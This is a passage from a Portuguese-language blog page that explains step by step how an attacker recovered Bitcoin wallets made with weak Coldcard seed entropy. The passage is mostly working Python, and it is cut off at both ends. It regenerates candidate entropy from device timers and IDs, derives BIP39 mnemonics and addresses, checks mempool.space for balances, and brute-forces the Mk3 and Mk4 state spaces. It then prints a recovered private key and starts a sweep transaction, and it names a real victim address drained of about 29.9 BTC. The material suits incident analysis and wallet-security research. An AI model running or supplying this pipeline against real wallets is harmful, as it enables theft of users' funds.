</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> monta o estado inicial. O <code>pad</code> do MicroPython é <code>UID_low32 ^ SysTick</code>; <code>n</code> e <code>d</code> vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. De entropia para endereço Bitcoin<span class="hx:absolute hx:-mt-20" id="3-de-entropia-para-endereço-bitcoin"></span>
    <a href="#3-de-entropia-para-endere%c3%a7o-bitcoin" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
</span></span></span><span class="line"><span class="cl"><span class="s2">    primeiros endereços SegWit nativos de recebimento e troco.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Consultar a blockchain como oráculo<span class="hx:absolute hx:-mt-20" id="4-consultar-a-blockchain-como-oráculo"></span>
    <a href="#4-consultar-a-blockchain-como-or%c3%a1culo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True se o endereço tiver qualquer UTXO no mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;erro consultando&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.</p>
<p><strong>Exemplo de não acerto:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante descarta e passa ao próximo candidato.</p>
<p><strong>Exemplo de acerto</strong> (o endereço real da vítima <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, antes do sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando <code>has_utxo</code> devolve <code>True</code>, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.</p>
<h3>5. Enumerar candidatos e caçar<span class="hx:absolute hx:-mt-20" id="5-enumerar-candidatos-e-caçar"></span>
    <a href="#5-enumerar-candidatos-e-ca%c3%a7ar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
</span></span></span><span class="line"><span class="cl"><span class="s2">    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
</span></span></span><span class="line"><span class="cl"><span class="s2">    os 2^32 valores possíveis do reseed do secure element.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;ACERTOU!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  endereço :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que fazem:</strong> <code>brute_mk3</code> varre estados plausíveis para Mk3; <code>brute_mk4</code> varre os 2^32 reseeds do secure element; <code>hunt</code> é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.</p>
<h2>Depois de achar a colisão<span class="hx:absolute hx:-mt-20" id="depois-de-achar-a-colisão"></span>
    <a href="#depois-de-achar-a-colis%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando <code>hunt</code> retorna, o atacante já tem a <code>mnemonic</code> e o endereço com saldo. Com elas, ele obtém a chave privada:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;WIF comprimido:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Endereço      :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída típica:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:</p>
<ol>
<li><strong>Importar a seed ou o WIF</strong> no Sparrow, Electrum ou outra wallet.</li>
<li><strong>Rescanar</strong> a blockchain para ver todos os UTXOs daquela seed.</li>
<li><strong>Montar uma transação</strong> mandando os fundos para um endereço que ele controla.</li>
<li><strong>Assinar e transmitir</strong>.</li>
</ol>
<h3>Exemplo concreto de sweep<span class="hx:absolute hx:-mt-20" id="exemplo-concreto-de-sweep"></span>
    <a href="#exemplo-concreto-de-sweep" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># chave recuperada a partir da seed colidida</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># taxa em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># o que sobra para o atacante</span>
</span></span><span class="line"><span class="cl">
